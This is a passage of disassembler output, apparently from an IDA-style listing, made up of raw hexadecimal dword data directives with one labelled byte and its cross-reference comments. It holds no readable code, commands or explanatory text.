2C530A76h dd 0AAD0F1CEh, 0DBE73F34h, 7EF3CF0Bh, 531C77F6h, 7A92C900h dd 171C480h, 62781666h, 0EB675F34h, 363502AFh, 0A803404Bh dd 0EFC27016h, 5A200660h, 40D92990h, 77307377h, 2D30191Dh dd 0F99540B7h, 53203900h, 82A9F4BBh, 302B0C96h, 73583411h dd 1BB25703h, 9125D74Dh, 0F06FA3DCh, 0BDB00AE8h, 37FCBC00h dd 4BE98975h, 3E100005h, 1669247Fh, 760034A2h, 0FDFA4E7Ch dd 0AC8F6Bh, 0D743188h, 0D4C5E749h, 7D4B6E0Fh, 418BE05Fh dd 0B56299h, 8C711EB7h, 0B824591Ah, 2EBF6900h, 0A3015414h dd 6AB50037h, 45E04112h, 0F31F7AB2h, 0D4009E8Eh, 5FB851C9h dd 143A3F21h, 0EE713E80h, 7DA3C775h, 0ED007BECh, 0E42AB75Bh dd 3D36F0Dh, 856DC566h, 32A0CE7Fh, 600C7483h, 1091A408h dd 0C104A79Eh, 0BFE57A2Ch, 0A7F80010h, 0E4DA59CDh, 2B970031h dd 558F26BCh, 2AFAC498h, 0A5669D02h, 0E0E2AC16h, 0C764A8h dd 81395936h, 0BA7270F3h, 15710500h, 2F6B2E3Dh, 11E0085h dd 9E146C16h, 0DE0030F3h, 0BED3AA28h, 0DF551Bh, 132D1F36h dd 7C4C4E3Bh, 6CB75800h, 420B9270h, 0FF1000A8h, 0A4B7AD5h dd 0A90041E9h, 21804A56h, 9E507Ch, 1599F0ABh, 910FD747h dd 69F1E30Fh, 171CC00Bh, 0B7CFDEh, 0DDC822F0h, 18840EAAh dd 0F6D55Ch, 59B6F239h, 72354E77h, 6F780BFDh, 0B280B4FAh dd 3993387Dh, 5E929C00h, 189E0919h, 66A2025Bh, 2B1EEBB2h dd 516EBCA0h, 5890F941h, 53E53000h, 2F2DFBEFh, 0E4D50021h dd 0C8424D40h, 0C40EFA8Ah, 4FC57245h, 80106F06h, 54E75033h dd 0B6020F1Fh, 0C8349AE9h, 78E5E400h, 5150D359h, 0AD004A74h dd 0B03B7F6Dh, 6FCF1D09h, 94E188E7h, 8092435Eh, 10903120h dd 4DCC1Fh, 7739F57Ch, 0D4D853C9h, 0E30082EAh, 0CD4FCA38h dd 366811h, 954D5094h, 3017CF92h, 19C12F03h, 11673FC6h dd 0B7A5389h, 6E51F5h, 4AD72096h, 0E450F597h, 35CC982h dd 36CC18DEh, 0F3B86333h, 8700C2B0h, 701FF191h, 0D402F0h dd 640686B7h, 25FA5982h, 0E6B63Eh, 0C8C52E7Fh, 90DA41CBh dd 0F48AFA00h, 432424A9h, 3E140034h, 0DA653CFDh, 6BD88100h dd 4925BA07h, 0DF0F0067h, 0D677CF21h, 5C00F688h, 5B862F04h dd 3B87AC6h, 1BEBBE29h, 0F6D0288Bh, 0B100174Fh, 80EF2E8Fh dd 1A97A08h, 5311BB4Ch, 8174CB47h, 8CB91DC0h, 52C0E241h dd 50480037h, 0CB58DDBBh, 850EEA89h, 876EF4h, 0F29DF6BAh dd 5E1001Bh, 3952E4BEh, 91000A6Fh, 218D7A2h, 708186h, 0D02966B8h dd 0A79E08C2h, 0C0DA4D00h, 0D287E3DCh, 42CC0084h, 7659F028h dd 0CE00326Ch, 5664DA8Ah, 21BAD87h, 7258D65Dh, 5FE3DE43h dd 44C11FA2h, 0C7218F42h, 0A4EBE037h, 24B50413h, 801C3F82h dd 52DD7048h dd 0E870BA20h, 0D4A8D571h, 880185BBh db 2 byte_530055 db 61h, 26h, 79h ; DATA XREF: ___:off_43811Co ; ___:off_438134o dd 73C84721h, 14484D6Fh, 703F16h, 80C85BF2h, 0FA00499Ah dd 0A1195F2Dh, 30F27E29h, 0F1904A9Fh, 0CAF8DBFCh, 0C984490Bh dd 0B66D87EFh, 7FA639E0h, 85420064h, 5B98630Bh, 6D00C6A1h dd 0F55181C2h, 0F4D34546h, 1CC102D2h, 91796EADh, 4EF16A40h dd 89DFB000h, 24A02BE1h, 87F403CFh, 0A5B99634h, 0E077C092h dd 3460B91h, 129105EFh, 0C07D6774h, 635980C0h, 19883A19h dd 0F81DF6C7h, 0C1192069h, 0E69FD600h, 285AB168h, 4AED00C2h dd 0B0D36C44h, 6B480821h, 5B3F48h, 0ADF4E268h, 2A5F0Bh dd 88DB923Eh, 0FDE980ECh, 0B50199E2h, 0A4D76B36h, 68FA791Ah dd 0A6EC00Ch, 0B33C6364h, 1D36008Bh, 0BABB5642h, 7A0140ECh dd 0F5CDB59h, 0A820D468h, 0E3A600EDh, 8B0E14C6h, 0D005A306h dd 0B76267CCh, 4B25E840h, 179447h, 2EFCDB56h, 9779247Ah dd 76057200h, 0EA8F662Bh, 698800D3h, 0FAD5B290h, 0F900AC02h dd 0C94D7912h, 0B41AB8h, 0B971D93Ch, 0B9CD548h, 2FFAD000h dd 0BBE1DEDAh, 7C3FC08h, 89F2145Eh, 0F93420D1h, 0D300CF81h dd 0FD6E5DF8h, 124E2Fh, 3D74F41Dh, 7D9C794Fh, 4CAE8B00h dd 6416C92h, 1C8D0071h, 9A2EAD6Dh, 4B00EDB7h, 5A46B52Ah dd 249CA2A7h, 508CD223h, 3603E852h, 0A277F35Dh, 0DD3D84Fh dd 0CF413AF2h, 89130909h, 8569C31h, 91230970h, 50187B1Dh dd 0F70001CBh, 18FE3F86h, 1C24CE8h, 7E0C7263h, 0D0892C4Dh dd 41025F7Bh, 9BBAF645h, 0EBF840A5h, 0C7A90743h, 73A108CAh dd 0C08E3C2Dh, 0D8B0A49Ah, 444D5F00h, 0BB67544Fh, 868C00ADh dd 3B4037DFh, 0D7501CCBh, 0B01444ECh, 0B034871Eh, 8760C62h dd 9E0AACA8h, 26C08F9Ch, 42C52739h, 0E28FA52h, 10A3E77Ah dd 805385C4h, 469CE036h, 0E4407003h, 88870325h, 78C4BD4h dd 28C52302h, 7C8E2075h, 0A073738h, 0FE49E97Bh, 61713A00h dd 0FC5900E2h, 0B6ECBF65h, 4200A2D9h, 159644A1h, 500C4C9Fh dd 0B71AC85h, 6ACDEACFh, 973B5480h, 43006FC4h, 0E06429FDh dd 5AB00Ah, 3F9F3AA5h, 0BCEAEB75h, 453A8BFEh, 666C8FFCh dd 2E405EA1h, 327A6003h, 919B1F76h, 0A12C0A5h, 0A9D5DB3Ah dd 0F400F978h, 20B7B998h, 3DB3CE30h, 0B88F4AAAh, 0D405DFEh dd 0E982F6D7h, 9F442D00h, 8851F8F1h, 0AC84011Ch, 3C45D017h dd 0E38C308Ah, 8700D27Dh, 2736AA6Fh, 24DC679Dh, 988476h dd 0E69ABA0h, 290E3D0Dh, 0A0E899D6h, 60C9D9F9h, 36E20735h dd 0C070DBE9h, 57ED3856h, 0B82AEB0Eh, 3568E0AFh, 92A0B24Ch dd 65201E5Ch, 2DF5C096h, 971C9079h, 0A395230Bh, 518A059h dd 6B15FFh, 0DFA19AABh, 0F077749Ch, 4826301Eh, 0B38D2DC0h dd 0EECA4F7Eh, 59F30968h, 2281A914h, 3118FDADh, 9981E460h dd 26280148h, 2C40F47Fh, 0EEB0E3h, 0B6CD3098h, 0F2E5C264h dd 8A6A1400h, 52572CF6h, 0E68400F3h, 73E84A22h, 0CE034D7Ch dd 16BF9D28h, 0C542EA0Ch, 0B5EA8014h, 9FC6172h, 50C7308h dd 339108BCh, 900AEC62h, 0E28A48h, 5362F648h, 121FD50Eh dd 68CAB50Ch, 128C9B9h, 19A1C6AFh, 0ECF979E6h, 0B5128527h dd 0DC4042FBh, 0E09F4722h, 407C91E5h, 0A196BD4Fh, 0C0032107h dd 78508ACBh, 3B6786D1h, 33070F73h, 70557731h, 832EC0ECh dd 0C104BD1Ch, 0CDB95B00h, 5C9DE2h, 25DCE674h, 0FC673921h dd 8135A00h, 8EFBD0EDh, 52A8002Ah, 3634114Fh, 0DC002F92h dd 0E734284h, 2D6C94h, 62FD0907h, 0C39E1240h, 2ADEA700h dd 0D1C94703h, 181E09Ch, 157CC12Eh, 3095BB38h, 0C5007150h dd 9A920826h, 7F1CBEh, 0B4E080E8h, 8C033625h, 0B0C85Dh dd 3E378FF8h, 406A5155h, 60003332h, 9DEBC9E0h, 0C778B27Bh dd 90FE1619h, 4FAF40D8h, 8258D400h, 8C6BAC11h, 545705DDh dd 903265A1h, 58C3C490h, 56687B65h, 0FD071380h, 66899E7h dd 581E1A3Bh, 8443C905h, 0D430058Ah, 92656F78h, 6AE80100h dd 0A648D12Eh, 7428D1C8h, 0F175F674h, 0DDD6C600h, 37F421FFh dd 5CE90146h, 0CBD36DACh, 134C70EFh, 0D83D3509h, 0BE1C00D0h dd 0C5A76Fh, 0B66A2F34h, 9F5BD288h, 7B60C713h, 1CDA807Ch dd 0C09E9A59h, 7E7A772Fh, 8300F86Dh, 0D82C2D5h, 0E6C306DBh dd 5C08BA29h, 8584868h, 0F84F6D14h, 315E0780h, 85007253h dd 65229DF8h, 0BBA6EC6h, 2D286C83h, 2E00E495h, 0F3274CA9h dd 2F3704B9h, 0C27C9730h, 0E4609EA4h, 6A0022D0h, 798F24D5h dd 0B97F89A4h, 8AA7E0D8h, 1712BCF8h, 0BC481DCEh, 0D02758FDh dd 9C749F24h, 16F53983h, 18500ED9h, 0B923BE46h, 210F57A1h dd 126CF7F6h, 90D31C40h, 1FBD65Eh, 691FED37h, 309C4ABFh dd 0C6132BB0h, 0C208D29h, 2E169147h, 8058668Bh, 0BF279D93h dd 84055442h, 0D1C5E590h, 90F0D423h, 74B952h, 2DD61661h dd 0F644F58Bh, 7EFD4500h, 0FBC9D770h, 0BE091FC1h, 93488069h dd 96D25C5Dh, 7C006370h, 295A56DEh, 32CFA2h, 75BD9095h dd 0CC03154Ah, 5C975500h, 2EDE2C81h, 2477A6h, 12D9CDDFh dd 7EF98D0Bh, 54AA8300h, 4E6E7306h, 0FAC50081h, 0E2E3DF2Eh dd 8300F399h, 885344B3h, 8FC02Fh, 3B4877ADh, 37CC30AAh dd 1F167200h, 0ECA90BF8h, 685003Ah, 0E37DEBC0h, 0D5EAAE7Bh dd 5A1F2300h, 0F22A8055h, 64381DEEh, 496005Eh, 6341D4E4h dd 6E394D00h, 59CDA49Fh, 2FE2F9h, 0DA62079Bh, 0BE81E5B4h dd 464D48h, 8959BC32h, 0B5DE6h, 97CBCA4Ch, 0FA791095h dd 827A5700h, 480E1D5Eh, 38CE01ACh, 9F08117Fh, 0BB24E868h dd 0B5F8600h, 480CE06Dh, 2A010006h, 8AC34064h, 9C0004EAh dd 3C940382h, 30431319h, 9E789350h, 1100A306h, 0AF3B27C9h dd 0CF882F47h, 0F1C04C18h, 0FADBF21Bh, 1E919D1Fh, 86F58AC2h dd 0D88E811h, 268800C7h, 63907813h, 41E21CB2h, 495DE300h dd 0E41B33A6h, 66080004h, 44AD528Eh, 49C20D1Ah, 19DFCDEh dd 0D2927F45h, 0BFC93CA0h, 8F7A07D3h, 0C40E2231h, 1842FD19h dd 975A108Ah, 9F52D601h, 4636D749h, 5625880h, 7CA2BE20h dd 5C4ED500h, 0A7B2F9E7h, 0D619077Fh, 406391BBh, 66FA9958h dd 1682DC0Eh, 0BEECE0AFh, 70A45D3h, 96518790h, 6E0980EDh dd 9A0720A3h, 4023152Eh, 38B0E207h, 13DD1A5Ch, 6FA04Dh dd 4B96B1ACh, 7B00816Ah, 0D3268AACh, 0FBE615Fh, 5B0F8430h dd 0B0EDAC3h, 0DC5848E0h, 797C2A03h, 1E72577Ah, 0C1B26A68h dd 3C1E0794h, 568BD8D4h, 2734B901h, 18FE2D05h, 64AC040h dd 2C5400F1h, 41558908h, 591DE9C8h, 0A140D67Ah, 0E31DB90Ch dd 24BD0566h, 0C1D1C097h, 0E744774Ch, 0E49320F1h, 2A0E5BB3h dd 2169961Bh, 0E0F5DF74h, 0E795F051h, 0E25673E4h, 260F052Ch dd 0E3AC32h, 0DEE512BDh, 440AA235h, 0C8DB63EEh, 990AD680h dd 0F8851C7Ah, 0D182008Ah, 0A706C965h, 2800B27Dh, 0E65FB8BEh dd 3A738625h, 6396603Eh, 1E544026h, 22D2A2C7h, 8371CC0Eh dd 0CE446035h, 0EE75DEB8h, 0B62500B0h, 0FEC43807h, 700001C5h dd 0F0096A54h, 7233084Eh, 5D5112C1h, 0B184AA1h, 0E41EA5h dd 1BBBB644h, 0D000535h, 52A3AA41h, 0D6EB6Ch, 6EABF66Ah dd 83D4D3FEh, 83F02E3Bh, 0F10F2F8Ah, 0B9CCC08Dh, 20DF0971h dd 67033CBBh, 7C0A7C0h, 0AE60038Ch, 1CFD8320h, 8240C1D3h dd 0C87CC84Fh, 58008755h, 0AF7D4A3Eh, 0E86628h, 0C1237A9h dd 0E78F4073h, 9D0F2E78h, 20945D03h, 0A8B0DFD0h, 0B4A00090h dd 0BABF0887h, 3E18C285h dd 0CC60D611h, 89780EF4h, 1F615F67h, 60819B18h, 3F074EB3h dd 7C324C8Bh, 67F227C0h, 90181EBFh, 38046ADh, 760FD192h dd 6452BE0h, 7F9B7AEh, 0E88CCDBAh, 3CE7110Ch, 205BE1C1h dd 4C3E223Eh, 61E1D91h, 6A34B640h, 0D61369h, 0BAEA8DC6h dd 0CD286556h, 4B9EC000h, 52DFBE50h, 70816096h, 0D442F08Ah dd 0C24668C0h, 4A55666h, 4A2CE76Ah, 0FDB2C050h, 88C0CF80h dd 4FD22DE0h, 26E4006Dh, 704188BEh, 0E839713Bh, 0E0F11EF0h dd 0D65C7FC3h, 0A8D8F313h, 32F2B6h, 4CEC0982h, 8B6F2638h dd 0B5F54500h, 5F41811Dh, 2AFB004Ah, 0A9DE5829h, 0C7759867h dd 147E9100h, 445D4C88h, 0AA2B00E4h, 30434A84h, 8A1DE2B9h dd 5000B6F9h, 0F8E445BDh, 0FE7F0F82h, 379B28h, 25357CC1h dd 0DFF66287h, 0E2C1B500h, 0FB3F06E1h, 696B00F7h, 0A240745h dd 0D1D3DB6h, 7A80C6BBh, 4BE442EAh, 0DDBE065Dh, 1168743Bh dd 7C366401h, 2C24E2A7h, 0C623F8C0h, 20E0F008h, 816E0400h dd 0ED581933h, 609400A0h, 0E73AE4B1h, 0AA003601h, 0FB8F9964h dd 188B4F05h, 0E0116F6Ch, 7401EE04h, 0DADC28CAh, 0D8E96098h dd 58BBFBD1h, 748A2200h, 7C6E2041h, 0EAC903Eh, 8F3FB05Eh dd 0C663C3DFh, 0F21AF0E3h, 0B23500C8h, 0E44F6B6Ah, 391B1728h dd 0A8F82DB0h, 406D85h, 0C668BEB2h, 5B7360DEh, 8C6AB800h dd 0FF4A2F99h, 789200F1h, 0C8E2C3BCh, 0B300EFA4h, 0B7E3A19Eh dd 0F6AF04h, 577F0F30h, 493F0B77h, 3DEEBC00h, 5340457Ch dd 99900F6Bh, 0C0808EE2h, 0EBBA084Dh, 0BB845000h, 59EE7629h dd 5E121C26h, 2B874646h, 17330878h, 0F84420C0h, 0E8C023Eh dd 2EC850E5h, 0AD091561h, 3FE0FA74h, 3A00C2EAh, 0D23D20F8h dd 3288773h, 0E7B6A5E9h, 7ED05499h, 0C00FCE93h, 0CFF81909h dd 0BC5DE08Eh, 0E86ED448h, 207760B7h, 27C57CFBh, 0C2BFAB00h dd 0F06ADAEDh, 0DBBC4474h, 4A981203h, 0C8FF477Ah, 3D7F89C4h dd 0F7F267h, 0F3C694B3h, 0FF52C2C5h, 8739DA0Ch, 0F4CEE97Fh dd 0AEF7182Ah, 36E011B9h, 6901D7F4h, 3C85F5A1h, 9DD06BB4h dd 7520CE28h, 55C45320h, 35004EC1h, 30ED65C6h, 2D5B32h dd 8DAB05E0h, 0E4D4B63Bh, 0F012EE05h, 88001DA1h, 7185A6D1h dd 29B8C3AEh, 0FF8028D6h, 0D8002184h, 77AC14C4h, 0DE8242C5h dd 0FD5480A0h, 0E3BE6505h, 7198AD03h, 0EE86E5h, 85504660h dd 0FEF79127h, 0F1C30F00h, 0B08F8D6Ch, 73EA66h, 0B9F4AF1Bh dd 520ABC89h, 95009BFAh, 8BEA8341h, 721D4BB1h, 0C024FAC2h dd 0D2B530AAh, 6100A6B8h, 0A12D94ACh, 694D6Ah, 0FB265F71h dd 7FB5DD01h, 7389FF13h, 18B32F0h, 0C1A8C26Dh, 0FCA6FA66h dd 3A000C55h, 0AA628319h, 0F28676C8h, 0DD9A00E0h, 758FA707h dd 5D00C50Ah, 4F77A505h, 5842EFh, 0E8C33F5Bh, 6A9E5143h dd 660D3B00h, 331948C7h, 0E73D00F4h, 0BE6CE32Dh, 0D9F849E8h dd 13300300h, 7E5352B1h, 0D208C69Ah, 0AA0020BFh, 28F208E1h dd 0F1DEE8Bh, 0CB1BB13Ch, 8D6A0140h, 0E60E78AFh, 80A26DB9h dd 0FBE4E849h, 18260003h, 67581F88h, 11E8206Fh, 84E340h dd 0A9B203F6h, 0CCFCF8D8h, 13A02C12h, 8AAF6707h, 60665E21h dd 30F9EE60h, 3258F503h, 53F57AE7h, 0ADF0A85Ch, 4F436914h dd 199F10h, 2108E0A1h, 9B6BB7h, 58B01144h, 73351F16h, 0B4DA410Ch dd 1C490E1h, 0FA199CC6h, 0E0E99723h, 5A018208h, 0BD86EA9Eh dd 98C9DA3h, 0A8304A33h, 84708A01h, 0CFBF46A0h, 2FFC5831h dd 922E287Fh, 32A50090h, 0AE480669h, 0FD54B701h, 0ED01169Ch dd 529CAC22h, 0A04840EBh, 76C43F2h, 19CD03FCh, 7A322704h dd 8D3F320h, 483800E1h, 2824A6DBh, 0E90A72BFh, 90B0E663h dd 0E7170C06h, 94AE0022h, 0E28C962Bh, 0E0C09C1Eh, 0BE9DEF63h dd 8F9486Eh, 5EE9803h, 0F6C27117h, 40398BC8h, 683A7400h dd 807A0365h, 42DF0014h, 697BF2D8h, 0E20215A4h, 0ABDED6F5h dd 6980F53Fh, 23B8BA6Ch, 7E4C5D01h, 44344684h, 1ED3D0h dd 27CEB510h, 48A07877h, 0F8001178h, 2D522A3h, 0EED2C8E4h dd 2C7E1E90h, 84D68067h, 2B36DCF8h, 499DAC00h, 0DB96CA42h dd 913900D2h, 0BBD97F92h, 0D51C58D1h, 0A58C691Ch, 0F8F138C2h dd 1DAA0007h, 0F2A8D2C9h, 0ABFE7221h, 7E299D00h, 0FF238257h dd 8470CF2Eh, 965D77C0h, 6126494Bh, 0D2003130h, 0A52CF880h dd 0B71C017Eh, 0CAEADF3Bh, 2E3EC410h, 5C6CC106h, 22194CE0h dd 0D20733C8h, 0E2A9C71Ch, 106832C6h, 0B1BBDCDh, 8074668Fh dd 0F3B9408h, 0F414003Dh, 1FBFB5EDh, 5E1DE5A4h, 0CC4003BBh dd 0CF5F4451h, 64FC00C7h, 9710537h, 0D70797A9h, 0C2F67BD6h dd 7D6D6050h, 0B6700791h, 70BA99B1h, 82CD3DFBh, 5F840300h dd 39BE0CF5h, 0B82E178Bh, 0A3C406B6h, 710A20CCh, 8599F3D7h dd 84A41030h, 0FCD87195h, 60F000C0h, 0E154EB01h, 0C30B51B7h dd 6689AA5h, 0B031C799h, 1DB0007Ah, 3D06247Ah, 6203B4DCh dd 0AF20F17h, 0B328D0A4h, 0FA497A52h, 44C06ADh, 41C6A31Fh dd 40D7CC05h, 0E480BAA1h, 1F4C408h, 3D93C8DCh, 0E0C33579h dd 9160FFA3h, 0B59E0B31h, 60177080h, 9A3B484Dh, 0B800041Bh dd 15685329h, 38DB25Fh, 0A1C5EA34h, 7098C9D7h, 0D2001643h dd 0FB33F13h, 0D86169h, 0FAE32202h, 0A78820D1h, 383ECF1Fh dd 0F2839380h, 866091h, 0DB37B7D4h, 669712F9h, 0C7CD6E02h dd 0FDBB4ACEh, 923CD360h, 2E7DE03h, 0C04B75A8h, 58E9348Eh dd 71000A3Eh, 0B8B51D50h, 7A036CF3h, 900259B7h, 0B9A4906Eh dd 0ED18030Fh, 9E4E54F7h, 71C58090h, 2174600Eh, 248A0D1h dd 0A2B116h, 577AB466h, 9DFD1C5Bh, 0C607E57Bh, 6F7CD37Bh dd 1923A7D0h, 33950B57h, 8A00983Bh, 62A22B1h, 669BFA07h dd 0C2815F41h, 41FE333Eh, 0DEC0B41Eh, 5A8F0CF5h, 101829C3h dd 0DB0A4DEEh, 5C03D1A3h, 1CEF3A04h, 0FDF465C0h, 754100F1h dd 0A1554B28h, 7D005910h, 8F620FAAh, 532774h, 1BE8C584h dd 55B4E2FBh, 1E702400h, 0B1B2ECA2h, 337A7Ah, 0DA3788CEh dd 2CA0DB5Bh, 0E59E2CC0h, 42B8D9h, 9B31A3DCh, 0CB3FA5B0h dd 60245E06h, 1D90FAEDh, 0B2E6C9h, 7F592B9Eh, 6AFCF93Ah dd 5F391300h, 27F32EA0h, 8580026Fh, 0E597D238h, 0DEEC8040h dd 9BE9D71Eh, 0A214B32Eh, 4C0539A4h, 781F099Ah, 24668015h dd 0C31361BFh, 0B798F21h, 0B8E14400h, 0ACA5B24Eh, 1A745Ah dd 76757E16h, 4667BE91h, 0C9C4A950h, 0B997B500h, 0E486F19Ch dd 17260089h, 82A8F0ADh, 8A0098DBh, 0CE932EDh, 76CD6FAFh dd 7BC27CCAh, 0BE73ECh, 8CAC7E85h, 0EBE32FC7h, 0CF092700h dd 0DFB44492h, 24471DA0h, 9C811F80h, 28CD8088h, 44A112B6h dd 1FB03E00h, 61EAC3Dh, 0A0C400ADh, 6A682C0Bh, 0E200699Dh dd 0CBB10E35h, 752E0F05h, 31E4E3h, 5A976C02h, 66CF713Fh dd 0CA609AE8h, 967EB480h, 491B0018h, 2893CBC2h, 0CD304FE9h dd 0D4DC604Eh, 0ED9636E8h, 0B82160B1h, 0EC5680D0h, 715EAB8Eh dd 19CC3086h, 0DB3EA920h, 0C16BFF00h, 0AAB5D57Bh, 0F23B3076h dd 0DC463850h, 0CC004971h, 668A6EC0h, 0C5259A5h, 50F77057h dd 2C053588h, 96EA2B1Dh, 0F09C00BBh, 7CB9061Bh, 80A0F5E6h dd 0B430FE7Fh, 19C3302Fh, 0E7ED00A4h, 350E5796h, 6E00DC0Ch dd 4DE3682Dh, 0B86FC1h, 0D3ED6211h, 356986B1h, 129CAE00h dd 0A81D4F9Ah, 5C790006h, 54B6816h, 0A6002249h, 9944BE7Bh dd 1CD17h dd 16C7A1CBh, 9AD6B038h, 2A9B050Fh, 3EB84056h, 1FE087h dd 0D4CBE5Bh, 81F4F9A7h, 7107F076h, 614AD6C6h, 0D02BEC53h dd 0B87698C4h, 4A44C18h, 25A23500h, 12C72AD6h, 0A31FF00h dd 2618EEE9h, 7057E16h, 3DCCE166h, 14E1204h, 0DF428E82h dd 12146460h, 0CDAF9200h, 0B30ADB81h, 15620075h, 0F089E9B9h dd 0EF00E0D7h, 566D43F5h, 5B8B01h, 0E5D05330h, 4E63698Eh dd 8C7A5C00h, 0FFF56EBAh, 75E100ECh, 0CE6A5625h, 0ED02E431h dd 0F271301Ah, 9400DF0Bh, 0ACF00113h, 0F1C1D1Ch, 86267A03h dd 23CB8087h, 0BFEC1C90h, 4DFB40FEh, 7C6BAD77h, 0C0183000h dd 0BCEE2086h, 0E5F6000Bh, 9EE69038h, 0A2003C46h, 52C1A6BEh dd 0E0DEF96h, 7D2DC05Bh, 0F056B087h, 0A727DE1Ch, 5114AEE6h dd 3AB03972h, 0B85280B2h, 7954CCEDh, 7119C55Bh, 0E0047C38h dd 0A11E3F1Fh, 471FA917h, 48ABB140h, 0D6DA47h, 1664B862h dd 77E7DCF7h, 0AA602E06h, 1029A870h, 11D4DD54h, 2311C9F3h dd 0D84A112Dh, 66087021h, 790F88C7h, 0EDD16A84h, 8DBD11Eh dd 8251A9Dh, 0EE808EEBh, 0ABB25597h, 5028A058h, 7D3788BEh dd 0F4314489h, 28242894h, 814BA11h, 0C2FC573h, 80A19A89h dd 3FF15960h, 18F95CD5h, 29C15FDCh, 0A1C2752Ah, 1D9F5ACh dd 11EFA61h, 0B11373BBh, 0A82029E6h, 63BC0703h, 0D0BA6A6Dh dd 7EDFBBA1h, 76092FCh, 1F531D78h, 956C3B14h, 8B77EC00h dd 8E0C1BF8h, 6F897900h, 0B8EADE9Ah, 943D009Dh, 0C7749EE8h dd 2000F017h, 0C47C758Fh, 56D081h, 9D89EA32h, 0FCE38C5Eh dd 5B137900h, 61B9983Ah, 372109C8h, 268025A5h, 0E8EC698Fh dd 0E05761FBh, 4300DDEEh, 2A9E6C39h, 938447Bh, 0E6CFFBC0h dd 83DF5900h, 0F00B7CBh, 0FADCCAC9h, 1238E904h, 99F920h dd 575EB9AFh, 5A140C4Ch, 9EF2FE7h, 414FF0h, 0A7EE884Dh dd 17300C6h, 6030112Eh, 0C300DF59h, 0A3CEADFBh, 0CD5A89h dd 1F529AF9h, 34F32D1Ch, 0DF1EB0Eh, 0C4B460B0h, 5AA6A29h dd 1D71A6E0h, 8480FBB2h, 387CBE45h, 40A496FFh, 0B791D5Ch dd 8380AEFBh, 0FA8EC325h, 7AC22C00h, 0E80DAACAh, 5D530063h dd 34E712B5h, 0EC013124h, 0C9276615h, 16703993h, 81694CDAh dd 0A86D0D00h, 0AB9F25E1h, 1124DD00h, 628F8E3Dh, 0D1F90003h dd 0B1D75AD2h, 0D400AE6Eh, 2BADC0D9h, 0FBA8117h, 0DC722A8Ch dd 917B0520h, 0EF70A2DBh, 0FF7AFEE8h, 0B7342200h, 4A37CE6Fh dd 832D009Eh, 4411A88Ch, 7D002BE2h, 9FF99CDBh, 960A20h dd 0BB5DED28h, 31EA7415h, 7C007AEEh, 3B84C3B7h, 3BABD27h dd 5A430CB6h, 0D89975DEh, 0AEF4201Ch, 8702520Eh, 1F25C027h dd 1FE5F01h, 0FA827154h, 0C123071Ah, 3BDCCB2h, 499D3000h dd 0CCD25ADDh, 0AD9E02A2h, 0EF46866Ah, 0E1118C0h, 1A8838h dd 37E5FB5Bh, 263F98Ah, 778FD8F0h, 644091BAh, 0FE00C0B2h dd 2D704605h, 4875B764h, 0E0446980h, 22A10010h, 0E7980C51h dd 589014F2h, 0A3306800h, 42E9A511h, 0F976CCh, 6734FE7Dh dd 0B8659053h, 9BC8AA01h, 0F848BEBBh, 0DE7FC0h, 93DDE6EDh dd 355EB84Fh, 0D058CB1Ch, 0FC9AEC40h, 98ACAA44h, 7DA7247Ch dd 0F33D409Ch, 581EB826h, 6E83737Ch, 807ECB8Bh, 0FA0D289Eh dd 0B9762Fh, 6FDB9CAAh, 0A31098C9h, 32009490h, 390C275Fh dd 72DD403Fh, 157407ACh, 0D1CD85FDh, 0F063A233h, 7D00C2DFh dd 832CDAA6h, 38CC7C8h, 62B2BA02h, 0D3886739h, 5D00070Eh dd 9B8AAA1h, 5F0557h, 0AFE2521Ah, 85650222h, 6F703500h dd 60D1D672h, 27679B5h, 6ADE0A0Dh, 0AEC0E112h, 200DB9Dh dd 0EED447F1h, 0A1FCF3h, 0C91C4E8Dh, 3B343EDDh, 0D9659A00h dd 0B676FB4Bh, 94900F5h, 0E3906FF6h, 440024B9h, 5F353C53h dd 1806D2h, 6FC5CF87h, 0AF9310BFh, 117B5200h, 41378B61h dd 338600DBh, 5A677F74h, 1C07DAA0h, 0D7D10484h, 7F4F730h dd 185400F1h, 8D25B3B9h, 2D00C85Eh, 107A9F2Fh, 0F03448h dd 9739E736h, 54E3F08h, 1FC9E500h, 0E204CFD3h, 83F900D5h dd 0BF760309h, 0E7008D92h, 5B0F7965h, 0EC3F4D7Ah, 9B3A004Ch dd 90AB419Eh, 2109C918h, 0E0D791C1h, 1874048h, 0A06EC293h dd 0F0753CFBh, 3DF8538Bh, 39AC9500h, 7F6A9699h, 447E00B3h dd 9F282A43h, 9000E39Ch, 0A94EE020h, 13340559h, 5C36D3h dd 95C37815h, 30049C1h, 0AC2C6B9h, 0FA1714C7h, 15530079h dd 1B089E23h, 0B000046Bh, 0E5825E1Ah, 0B5578Fh, 6A7983B3h dd 9F9FCE6h, 34ABAF00h, 0A7881E06h, 0CA7886h, 3C4883C9h dd 0E1AA62BCh, 678F400h, 19181316h, 20B50038h, 3DC7297Ah dd 3B00B75Dh, 0F327417Dh, 923E5Bh, 0B0CFFD2h, 0D9B9C873h dd 389DCC00h, 0EC8EE9ADh, 0FA2100DCh, 0B672569Ch, 0A8002A76h dd 6B65A33Ah, 4CD1A492h, 7C00C1B3h, 878FCF39h, 2B825DCh dd 0BEBCB600h, 40C381E5h, 8EDCFB4Eh, 9120015h, 8262939h dd 0BA02B55Eh, 80E4A173h, 9AD0A035h, 1351F80Bh, 301256h dd 1DC26C80h, 9F0036F5h, 4675C916h, 0E8D6022h, 4CBCDB56h dd 0B67C3CE1h, 0D6E0F254h, 0D3007235h, 28297FF2h, 0FFE907h dd 5F6F912h, 0E681D95Ah, 0D51B9C07h, 0E7F5CA9Dh, 3FA68CD0h dd 0CC304C50h, 0D02EF3Eh, 771902F4h, 5E9E8640h, 0AF163C00h dd 94342BFDh, 0C2B30381h, 0E1DBF09h, 75F020B7h, 9A09479Eh dd 83BD13E8h, 807C193Ch, 1859A6CAh, 28AC8389h, 727B67A0h dd 47627A16h, 933FF31Eh, 0A4405E7Bh, 0CB0182A4h, 0AFE13B8Ch dd 0EB3C1D80h, 5B88F43Ah, 95C91B00h, 0F13870BDh, 0D5440060h dd 0DD74B798h, 2300A98Fh, 2795FE08h, 0D3294Ah, 25F785D7h dd 0FFEC344Dh, 821B8609h, 6A5D80EBh, 5D253F9h, 0B2032173h dd 70158761h, 0B002804Eh, 3F67A900h, 0B1490E63h, 0E7F60096h dd 301D53A3h, 0D200DA7Ah, 89122E03h, 7637D85Ch, 995B008Eh dd 8BEC6F31h, 0CF01DD77h, 1F074B13h, 25CC47CAh, 0D566005Ah dd 0B383D9CBh, 0B900EC9Dh, 0A1AA8F99h, 3187473Fh, 393E523Ch dd 184CC80h, 13B12400h, 